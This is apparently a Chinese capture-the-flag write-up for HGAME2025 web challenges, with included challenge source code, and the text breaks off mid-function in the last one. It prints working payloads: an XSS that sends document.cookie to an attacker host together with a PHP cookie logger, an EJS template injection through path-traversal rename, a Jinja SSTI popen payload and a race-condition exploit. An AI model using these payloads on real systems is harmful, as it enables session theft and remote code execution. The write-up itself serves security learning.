HGAME2025

Level 24 Pacman

#考眼力的签到题

image-20250203230941183

一个吃豆豆的小游戏,要吃够一万分才能拿到flag,这类题都是可以去找条件然后进行绕过的,先看一下源代码

image-20250203231034873

终于在源码里面看到了一句base64编码,加密后是

image-20250203231123084

栅栏密码

image-20250203231730692

但是这个不是密码

然后在又发现一个 haeu4epca_4trgm{_r_amnmse}

image-20250203232701377

这个就是对的了

Level 69 MysteryMessageBoard

#不出网的xss

登录界面弱口令shallot/888888登录进来

image-20250204111233858

是一个留言板,试一下xss

1
<script>alert(1)</script>

发现有弹窗显示1,说明这里可能存在xss漏洞

1
<script>document.location.href="http://[ip]/xss.php?cookie="+document.cookie</script>
1
2
3
4
5
6
7
<?php
$cookie = $_GET['cookie'];
$time = date('Y-m-d h:i:s', time());
$log = fopen("cookie.txt", "a");
fwrite($log,$time.': '. $cookie . "\n");
fclose($log);
?>

试一下能不能拿到admin的cookie,但是拿到的只有自己的cookie,应该是需要触发admin去访问这个留言,后面扫目录看到有admin路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[12:55:24] Scanning:
[12:55:25] 301 - 57B - /%2e%2e//google.com -> /%252E%252E/google.com
[12:55:26] 301 - 46B - /../../../../../../etc/passwd -> /etc/passwd
[12:55:33] 200 - 167B - /admin
[12:55:41] 301 - 59B - /axis2-web//HappyAxis.jsp -> /axis2-web/HappyAxis.jsp
[12:55:41] 301 - 54B - /axis//happyaxis.jsp -> /axis/happyaxis.jsp
[12:55:41] 301 - 65B - /axis2//axis2-web/HappyAxis.jsp -> /axis2/axis2-web/HappyAxis.jsp
[12:55:43] 301 - 87B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js -> /Citrix/AccessPlatform/auth/clientscripts/cookies.js
[12:55:46] 301 - 74B - /engine/classes/swfupload//swfupload.swf -> /engine/classes/swfupload/swfupload.swf
[12:55:46] 301 - 77B - /engine/classes/swfupload//swfupload_f9.swf -> /engine/classes/swfupload/swfupload_f9.swf
[12:55:47] 301 - 62B - /extjs/resources//charts.swf -> /extjs/resources/charts.swf
[12:55:48] 302 - 29B - /g -> /login
[12:55:49] 301 - 72B - /html/js/misc/swfupload//swfupload.swf -> /html/js/misc/swfupload/swfupload.swf
[12:55:49] 302 - 29B - /i -> /login
[12:55:49] 302 - 29B - /in -> /login
[12:55:50] 302 - 29B - /l -> /login
[12:55:51] 302 - 29B - /log -> /login
[12:55:51] 200 - 1KB - /login
[12:55:54] 302 - 29B - /n -> /login
[12:55:54] 302 - 29B - /o -> /login

应该是访问admin路由后才会触发admin访问留言

image-20250207001446282

但是用上面的打法然后访问admin之后并没有收到admin的cookie,后面才知道是admin不出网,所以我们让admin去访问本地的8888端口然后把cookie反射到留言板上就可以了

1
2
3
4
5
6
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:8888/", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("comment="%2bdocument.cookie);
</script>

传入后访问admin路由触发admin访问留言,然后刷新页面就可以拿到admin的cookie了

image-20250207002012267

后面访问flag路由然后伪造admin身份就可以拿到flag了

赛后在复现平台发现有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
package main

import (
"context"
"fmt"
"github.com/chromedp/chromedp"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"log"
"net/http"
"sync"
"time"
)

var (
store = sessions.NewCookieStore([]byte("fake_key"))
users = map[string]string{
"shallot": "fake_password",
"admin": "fake_password"}
comments []string
flag = "FLAG{this_is_a_fake_flag}"
lock sync.Mutex
)

func loginHandler(c *gin.Context) {
username := c.PostForm("username")
password := c.PostForm("password")
if storedPassword, ok := users[username]; ok && storedPassword == password {
session, _ := store.Get(c.Request, "session")
session.Values["username"] = username
session.Options = &sessions.Options{
Path: "/",
MaxAge: 3600,
HttpOnly: false,
Secure: false,
}
session.Save(c.Request, c.Writer)
c.String(http.StatusOK, "success")
return
}
log.Printf("Login failed for user: %s\n", username)
c.String(http.StatusUnauthorized, "error")
}
func logoutHandler(c *gin.Context) {
session, _ := store.Get(c.Request, "session")
delete(session.Values, "username")
session.Save(c.Request, c.Writer)
c.Redirect(http.StatusFound, "/login")
}
func indexHandler(c *gin.Context) {
session, _ := store.Get(c.Request, "session")
username, ok := session.Values["username"].(string)
if !ok {
log.Println("User not logged in, redirecting to login")
c.Redirect(http.StatusFound, "/login")
return
}
if c.Request.Method == http.MethodPost {
comment := c.PostForm("comment")
log.Printf("New comment submitted: %s\n", comment)
comments = append(comments, comment)
}
htmlContent := fmt.Sprintf(`<html>
<body>
<h1>留言板</h1>
<p>欢迎,%s,试着写点有意思的东西吧,admin才不会来看你!自恋的笨蛋!</p>
<form method="post">
<textarea name="comment" required></textarea><br>
<input type="submit" value="提交评论">
</form>
<h3>留言:</h3>
<ul>`, username)
for _, comment := range comments {
htmlContent += "<li>" + comment + "</li>"
}
htmlContent += `</ul>
<p><a href="/logout">退出</a></p>
</body>
</html>`
c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))
}
func adminHandler(c *gin.Context) {
htmlContent := `<html><body>
<p>好吧好吧你都这么求我了~admin只好勉为其难的来看看你写了什么~才不是人家想看呢!</p>
</body></html>`
c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))
//无头浏览器模拟登录admin,并以admin身份访问/路由
go func() {
lock.Lock()
defer lock.Unlock()
ctx, cancel := chromedp.NewContext(context.Background())
defer cancel()
ctx, _ = context.WithTimeout(ctx, 20*time.Second)
if err := chromedp.Run(ctx, myTasks()); err != nil {
log.Println("Chromedp error:", err)
return
}
}()
}

// 无头浏览器操作
func myTasks() chromedp.Tasks {
return chromedp.Tasks{
chromedp.Navigate("/login"),
chromedp.WaitVisible(`input[name="username"]`),
chromedp.SendKeys(`input[name="username"]`, "admin"),
chromedp.SendKeys(`input[name="password"]`, "fake_password"),
chromedp.Click(`input[type="submit"]`),
chromedp.Navigate("/"),
chromedp.Sleep(5 * time.Second),
}
}

func flagHandler(c *gin.Context) {
log.Println("Handling flag request")
session, err := store.Get(c.Request, "session")
if err != nil {
c.String(http.StatusInternalServerError, "无法获取会话")
return
}
username, ok := session.Values["username"].(string)
if !ok || username != "admin" {
c.String(http.StatusForbidden, "只有admin才可以访问哦")
return
}
log.Println("Admin accessed the flag")
c.String(http.StatusOK, flag)
}
func main() {
r := gin.Default()
r.GET("/login", loginHandler)
r.POST("/login", loginHandler)
r.GET("/logout", logoutHandler)
r.GET("/", indexHandler)
r.GET("/admin", adminHandler)
r.GET("/flag", flagHandler)
log.Println("Server started at :8888")
log.Fatal(r.Run(":8888"))
}

关注一下里面的几段关键代码

1
2
3
4
5
6
session.Options = &sessions.Options{
Path: "/",
MaxAge: 3600,
HttpOnly: false,
Secure: false,
}

这里配置了session的设置,但是HttpOnly设置为了false,意味着这里并没有禁止 JavaScript 访问 Cookie,也就是说我们可以通过document.cookie进行读取

1
2
3
for _, comment := range comments {
htmlContent += "<li>" + comment + "</li>"
}

对用户的输入没有过滤和转义而是直接插入到前端页面,所以会存在xss

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
func adminHandler(c *gin.Context) {
htmlContent := `<html><body>
<p>好吧好吧你都这么求我了~admin只好勉为其难的来看看你写了什么~才不是人家想看呢!</p>
</body></html>`
c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))
//无头浏览器模拟登录admin,并以admin身份访问/路由
go func() {
lock.Lock()
defer lock.Unlock()
ctx, cancel := chromedp.NewContext(context.Background())
defer cancel()
ctx, _ = context.WithTimeout(ctx, 20*time.Second)
if err := chromedp.Run(ctx, myTasks()); err != nil {
log.Println("Chromedp error:", err)
return
}
}()
}

// 无头浏览器操作
func myTasks() chromedp.Tasks {
return chromedp.Tasks{
chromedp.Navigate("/login"),
chromedp.WaitVisible(`input[name="username"]`),
chromedp.SendKeys(`input[name="username"]`, "admin"),
chromedp.SendKeys(`input[name="password"]`, "fake_password"),
chromedp.Click(`input[type="submit"]`),
chromedp.Navigate("/"),
chromedp.Sleep(5 * time.Second),
}
}

/admin路由会触发模拟admin登录并访问/路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
func flagHandler(c *gin.Context) {
log.Println("Handling flag request")
session, err := store.Get(c.Request, "session")
if err != nil {
c.String(http.StatusInternalServerError, "无法获取会话")
return
}
username, ok := session.Values["username"].(string)
if !ok || username != "admin" {
c.String(http.StatusForbidden, "只有admin才可以访问哦")
return
}
log.Println("Admin accessed the flag")
c.String(http.StatusOK, flag)
}

限制直接用admin的cookie才能访问

Level 47 BandBomb

#文件上传+ejs模板渲染

分开看一下代码

1
2
3
4
5
6
7
8
9
10
11
12
//app.js
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');

const app = express();

app.set('view engine', 'ejs');

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

Express框架的web应用,设置模板引擎是ejs,配置静态文件目录public映射到路径/static,并使用json用于解析请求体的JSON数据

1
2
3
4
5
6
7
8
9
10
11
12
const storage = multer.diskStorage({
destination: (req, file, cb) => {
const uploadDir = 'uploads';
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir);
}
cb(null, uploadDir);
},
filename: (req, file, cb) => {
cb(null, file.originalname);
}
});

配置了文件存储路径位置uploads,并且这里文件保存是采用的原始上传文件名进行命名保存的

1
2
3
4
5
6
7
8
9
10
11
12
13
const upload = multer({ 
storage: storage,
fileFilter: (_, file, cb) => {
try {
if (!file.originalname) {
return cb(new Error('无效的文件名'), false);
}
cb(null, true);
} catch (err) {
cb(new Error('文件处理错误'), false);
}
}
});

创建一个multer实例,这里的话会检查文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.get('/', (req, res) => {
const uploadsDir = path.join(__dirname, 'uploads');

if (!fs.existsSync(uploadsDir)) {
fs.mkdirSync(uploadsDir);
}

fs.readdir(uploadsDir, (err, files) => {
if (err) {
return res.status(500).render('mortis', { files: [] });
}
res.render('mortis', { files: files });
});
});

配置根路由的Get请求,检查文件上传目录是否存在,尝试读取里面的文件并渲染到前端页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.post('/upload', (req, res) => {
upload.single('file')(req, res, (err) => {
if (err) {
return res.status(400).json({ error: err.message });
}
if (!req.file) {
return res.status(400).json({ error: '没有选择文件' });
}
res.json({
message: '文件上传成功',
filename: req.file.filename
});
});
});

一个接收post请求的文件上传的路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
app.post('/rename', (req, res) => {
const { oldName, newName } = req.body;
const oldPath = path.join(__dirname, 'uploads', oldName);
const newPath = path.join(__dirname, 'uploads', newName);

if (!oldName || !newName) {
return res.status(400).json({ error: ' ' });
}

fs.rename(oldPath, newPath, (err) => {
if (err) {
return res.status(500).json({ error: ' ' + err.message });
}
res.json({ message: ' ' });
});
});

一个接收post请求的重命名文件名的路由

这里的话可以看到重命名路径是没有任何检测的,也就是说可以进行路径穿越的

1
res.render('mortis', { files: files });

用mortis.ejs模板文件进行渲染,结合路径穿越,我们可以上传文件覆盖掉ejs模板文件

1
<% global.process.mainModule.require('child_process').execSync('whoami > ./public/poc.txt').toString() %>

因为配置了静态文件路径,所以可以往里面写文件

上传ejs文件后进行重命名

1
2
/rename
POST:{"oldName":"poc.ejs","newName":"../views/mortis.ejs"}

然后访问根路由进行渲染执行ejs文件

最后访问./static/poc.txt就行了

image-20251230164811312

Level 38475 角落

#url重写漏洞+ssti条件竞争

题目提示会有管理员查看留言

image-20250222115011381

image-20250222115238416

传了一个<script>alert("1")</script>显示上传成功但是没得弹窗警告,扫目录看到一个有robots.txt,给了一个/app.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Include by httpd.conf
<Directory "/usr/local/apache2/app">
Options Indexes
AllowOverride None
Require all granted
</Directory>

<Files "/usr/local/apache2/app/app.py">
Order Allow,Deny
Deny from all
</Files>

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

ProxyPass "/app/" "http://127.0.0.1:5000/"

分析一下这个配置文件,app.py不让访问,我们重点看一下URL重写规则

1
2
3
RewriteEngine On//开启 Apache 的 URL 重写模块
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/" //如果UA头中包含 L1nk/ 字符串,则后续的重写规则将会被应用
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"访问`/admin/???`目录的时候Apache 会尝试在文件系统中查找 `/???.html` 文件

阿帕奇的URL重写规则

image-20250222121757897

试着去拿一下app.py但是没拿到,应该是路径问题

后面找文档看到有版本CVE

image-20250222123722368

Apache 的文档根目录(DocumentRoot)通常是 /usr/local/apache 或类似路径。直接读app.py

image-20250222123531139

只需要在最后加一个%3f即可,这会把app.py后面的东西变成查询语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
//app.py
from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg


def readmsg():
filename = pwd + "/tmp/message.txt"
if os.path.exists(filename):
f = open(filename, 'r')
message = f.read()
f.close()
return message
else:
return 'No message now.'


@app.route('/index', methods=['GET'])
def index():
status = request.args.get('status')
if status is None:
status = ''
return render_template("index.html", status=status)


@app.route('/send', methods=['POST'])
def write_message():
filename = pwd + "/tmp/message.txt"
message = request.form['message']

f = open(filename, 'w')
f.write(message)
f.close()

return redirect('index?status=Send successfully!!')

@app.route('/read', methods=['GET'])
def read_message():
if "{" not in readmsg():
show = show_msg.replace("{{message}}", readmsg())
return render_template_string(show)
return 'waf!!'


if __name__ == '__main__':
app.run(host = '0.0.0.0', port = 5000)

路由/read是用来渲染的,是ssti,先传一个7*7然后访问/read路由

image-20250222125751104

能正常访问处理,因为这里会检查是否包含{,之前没学过过滤了这个怎么做,后面看的师傅的wp知道这里是需要条件竞争的,因为我们需要写文件读文件,那么这里可以可以用条件竞争来做。

需要一个正常/send包,一个写文件的/send包,一个读文件的/read包

我们用lipsum获取os模块,三个包设置如下

image-20250222131347646

image-20250222131409577

image-20250222131429676

payload

1
message={{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}}

image-20250222131319867

然后换一下rce命令再竞争一下就可以了

image-20250222131700129

Level 25 双面人派对

还需要逆向分析,压根不会,可以看看infernity师傅的wp

Hgame2025 week1 Web WP

Level 21096 HoneyPot

#非预期命令执行

image-20251231140418323

先看看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
package main

import (
"database/sql"
"encoding/json"
"fmt"
"github.com/gin-contrib/cors"
"github.com/gin-gonic/gin"
_ "github.com/go-sql-driver/mysql"
"io/ioutil"
"log"
"net/http"
"os"
"os/exec"
"regexp"
"strconv"
"strings"
"sync"
)

type DBConfig struct {
Host string `json:"host" binding:"required"`
Port string `json:"port" binding:"required"`
Username string `json:"username" binding:"required"`
Password string `json:"password" binding:"required"`
}

type ImportConfig struct {
RemoteHost string `json:"remote_host" binding:"required"`
RemotePort string `json:"remote_port" binding:"required"`
RemoteUsername string `json:"remote_username" binding:"required"`
RemotePassword string `json:"remote_password" binding:"required"`
RemoteDatabase string `json:"remote_database" binding:"required"`
LocalDatabase string `json:"local_database" binding:"required"`
}

type ConnectionManager struct {
mu sync.Mutex
db *sql.DB
conf *DBConfig
}

var manager = &ConnectionManager{}
var localConfig DBConfig

func loadLocalConfig() error {
configFile, err := os.Open("config.json")
if err != nil {
return fmt.Errorf("error opening config file: %v", err)
}
defer configFile.Close()

decoder := json.NewDecoder(configFile)
if err := decoder.Decode(&localConfig); err != nil {
return fmt.Errorf("error decoding config file: %v", err)
}

return nil
}
func main() {
if err := loadLocalConfig(); err != nil {
log.Fatalf("Failed to load local configuration: %v", err)
}
r := gin.Default()

config := cors.DefaultConfig()
config.AllowAllOrigins = true
config.AllowHeaders = []string{"Origin", "Content-Length", "Content-Type"}
r.Use(cors.New(config))
r.LoadHTMLGlob("index.html")
r.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", nil)
})
r.GET("/flag", func(c *gin.Context) {
data, err := ioutil.ReadFile("/flag")
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to read /flag file"})
return
}
c.String(http.StatusOK, string(data))
})
api := r.Group("/api")
{
api.GET("/databases", getDatabases)
api.GET("/tables", getTables)
api.GET("/data", getTableData)
api.GET("/database", createDatabase)
api.GET("/search", searchTableData)
api.POST("/test-connection", testConnection)
api.POST("/test-import-connection", testImportConnection)
api.POST("/connect", connect)
api.POST("/import", ImportData)

}

log.Printf("Server starting on http://localhost:9090")
r.Run(":9090")
}

func testConnection(c *gin.Context) {
dsn := buildDSN(localConfig)
db, err := sql.Open("mysql", dsn)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to open connection: " + err.Error(),
})
return
}
defer db.Close()

if err := db.Ping(); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to connect: " + err.Error(),
})
return
}

c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Connection successful",
})
}

func testImportConnection(c *gin.Context) {
var config ImportConfig
if err := c.ShouldBindJSON(&config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid request body: " + err.Error(),
})
return
}

if err := validateImportConfig(config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid input: " + err.Error(),
})
return
}

dsn := fmt.Sprintf("%s:%s@tcp(%s:%s)/%s",
sanitizeInput(config.RemoteUsername),
config.RemotePassword,
sanitizeInput(config.RemoteHost),
config.RemotePort,
sanitizeInput(config.RemoteDatabase),
)

db, err := sql.Open("mysql", dsn)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to open connection: " + err.Error(),
})
return
}
defer db.Close()

if err := db.Ping(); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to connect: " + err.Error(),
})
return
}

var dbExists bool
err = db.QueryRow("SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME = ?",
config.RemoteDatabase).Scan(&dbExists)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to verify database: " + err.Error(),
})
return
}

if !dbExists {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Remote database does not exist",
})
return
}

c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Connection successful",
})
}

func connect(c *gin.Context) {
var config DBConfig
manager.mu.Lock()
defer manager.mu.Unlock()

if manager.db != nil {
manager.db.Close()
}
dsn := buildDSN(localConfig)
db, _ := sql.Open("mysql", dsn)

if err := db.Ping(); err != nil {
db.Close()
return
}

manager.db = db
manager.conf = &config
c.JSON(http.StatusBadRequest, gin.H{
"success": true,
"message": "Connected To Database",
})
return
}

func getDatabases(c *gin.Context) {
manager.mu.Lock()
defer manager.mu.Unlock()

if manager.db == nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "No active connection",
})
return
}

rows, err := manager.db.Query("SHOW DATABASES")
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to fetch databases: " + err.Error(),
})
return
}
defer rows.Close()

var databases []string
for rows.Next() {
var dbName string
if err := rows.Scan(&dbName); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to scan database name: " + err.Error(),
})
return
}
if dbName != "information_schema" && dbName != "mysql" &&
dbName != "performance_schema" && dbName != "sys" {
databases = append(databases, dbName)
}
}

c.JSON(http.StatusOK, gin.H{
"success": true,
"data": databases,
})
}

func getTables(c *gin.Context) {
dbName := c.Query("database")
if dbName == "" {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Database name is required",
})
return
}

manager.mu.Lock()
defer manager.mu.Unlock()

if manager.db == nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "No active connection",
})
return
}

if _, err := manager.db.Exec("USE `" + dbName + "`"); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to switch database: " + err.Error(),
})
return
}

rows, err := manager.db.Query("SHOW TABLES")
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to fetch tables: " + err.Error(),
})
return
}
defer rows.Close()

var tables []string
for rows.Next() {
var tableName string
if err := rows.Scan(&tableName); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to scan table name: " + err.Error(),
})
return
}
tables = append(tables, tableName)
}

c.JSON(http.StatusOK, gin.H{
"success": true,
"data": tables,
})
}

func getTableData(c *gin.Context) {
dbName := c.Query("database")
tableName := c.Query("table")
page := c.DefaultQuery("page", "0")
size := c.DefaultQuery("size", "0")

if dbName == "" || tableName == "" {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Database and table names are required",
})
return
}

manager.mu.Lock()
defer manager.mu.Unlock()

if manager.db == nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "No active connection",
})
return
}

if _, err := manager.db.Exec(fmt.Sprintf("USE `%s`", dbName)); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to switch database: " + err.Error(),
})
return
}

columns, err := getTableColumns(manager.db, tableName)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to get table structure: " + err.Error(),
})
return
}

var total int
sumQuery := fmt.Sprintf("SELECT COUNT(*) FROM `%s`.`%s`", dbName, tableName)
if err := manager.db.QueryRow(sumQuery).Scan(&total); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to get total count: " + err.Error(),
})
return
}

var query string
if page != "0" && size != "0" {
pageNum, err1 := strconv.Atoi(page)
pageSize, err2 := strconv.Atoi(size)
if err1 != nil || err2 != nil || pageNum < 1 || pageSize < 1 {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid page or size parameter",
})
return
}

offset := (pageNum - 1) * pageSize
query = fmt.Sprintf("SELECT * FROM `%s`.`%s` LIMIT %d OFFSET %d",
dbName, tableName, pageSize, offset)
} else {
query = fmt.Sprintf("SELECT * FROM `%s`.`%s` LIMIT 10", dbName, tableName)
}

rows, err := manager.db.Query(query)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to fetch data: " + err.Error(),
})
return
}
defer rows.Close()

var results []map[string]interface{}
for rows.Next() {
values := make([]interface{}, len(columns))
valuePtrs := make([]interface{}, len(columns))
for i := range columns {
valuePtrs[i] = &values[i]
}

if err := rows.Scan(valuePtrs...); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to scan row: " + err.Error(),
})
return
}

row := make(map[string]interface{})
for i, col := range columns {
val := values[i]
if b, ok := val.([]byte); ok {
row[col] = string(b)
} else {
row[col] = val
}
}
results = append(results, row)
}

if err = rows.Err(); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Error iterating rows: " + err.Error(),
})
return
}

c.JSON(http.StatusOK, gin.H{
"success": true,
"data": gin.H{
"records": results,
"total": total,
},
})
}

func getTableColumns(db *sql.DB, tableName string) ([]string, error) {
rows, err := db.Query("SHOW COLUMNS FROM `" + tableName + "`")
if err != nil {
return nil, err
}
defer rows.Close()

var columns []string
for rows.Next() {
var field, typ, null, key, default_value, extra sql.NullString
if err := rows.Scan(&field, &typ, &null, &key, &default_value, &extra); err != nil {
return nil, err
}
columns = append(columns, field.String)
}

if err = rows.Err(); err != nil {
return nil, err
}

return columns, nil
}
func createDatabase(c *gin.Context) {
databaseName := c.Query("db")
query := fmt.Sprintf("CREATE DATABASE IF NOT EXISTS `%s`", databaseName)
_, err := manager.db.Exec(query)
if err != nil {
c.JSON(http.StatusOK, gin.H{"success": "false", "message": err})
return
}
c.JSON(http.StatusOK, gin.H{"success": "true", "message": "创建数据库" + databaseName + "成功"})
return
}
func createdb(dbname string) error {
query := fmt.Sprintf("CREATE DATABASE IF NOT EXISTS `%s`", dbname)
_, err := manager.db.Exec(query)
return err
}

func buildDSN(config DBConfig) string {
return config.Username + ":" + config.Password + "@tcp(" + config.Host + ":" + config.Port + ")/"
}
func ImportData(c *gin.Context) {
var config ImportConfig
if err := c.ShouldBindJSON(&config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid request body: " + err.Error(),
})
return
}
if err := validateImportConfig(config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid input: " + err.Error(),
})
return
}

config.RemoteHost = sanitizeInput(config.RemoteHost)
config.RemoteUsername = sanitizeInput(config.RemoteUsername)
config.RemoteDatabase = sanitizeInput(config.RemoteDatabase)
config.LocalDatabase = sanitizeInput(config.LocalDatabase)
if manager.db == nil {
dsn := buildDSN(localConfig)
db, err := sql.Open("mysql", dsn)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to connect to local database: " + err.Error(),
})
return
}

if err := db.Ping(); err != nil {
db.Close()
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to ping local database: " + err.Error(),
})
return
}

manager.db = db
}
if err := createdb(config.LocalDatabase); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to create local database: " + err.Error(),
})
return
}
//Never able to inject shell commands,Hackers can't use this,HaHa
command := fmt.Sprintf("/usr/local/bin/mysqldump -h %s -u %s -p%s %s |/usr/local/bin/mysql -h 127.0.0.1 -u %s -p%s %s",
config.RemoteHost,
config.RemoteUsername,
config.RemotePassword,
config.RemoteDatabase,
localConfig.Username,
localConfig.Password,
config.LocalDatabase,
)
fmt.Println(command)
cmd := exec.Command("sh", "-c", command)
if err := cmd.Run(); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to import data: " + err.Error(),
})
return
}

c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Data imported successfully",
})
}
func sanitizeInput(input string) string {
reg := regexp.MustCompile(`[;&|><\(\)\{\}\[\]\\` + "`" + `]`)
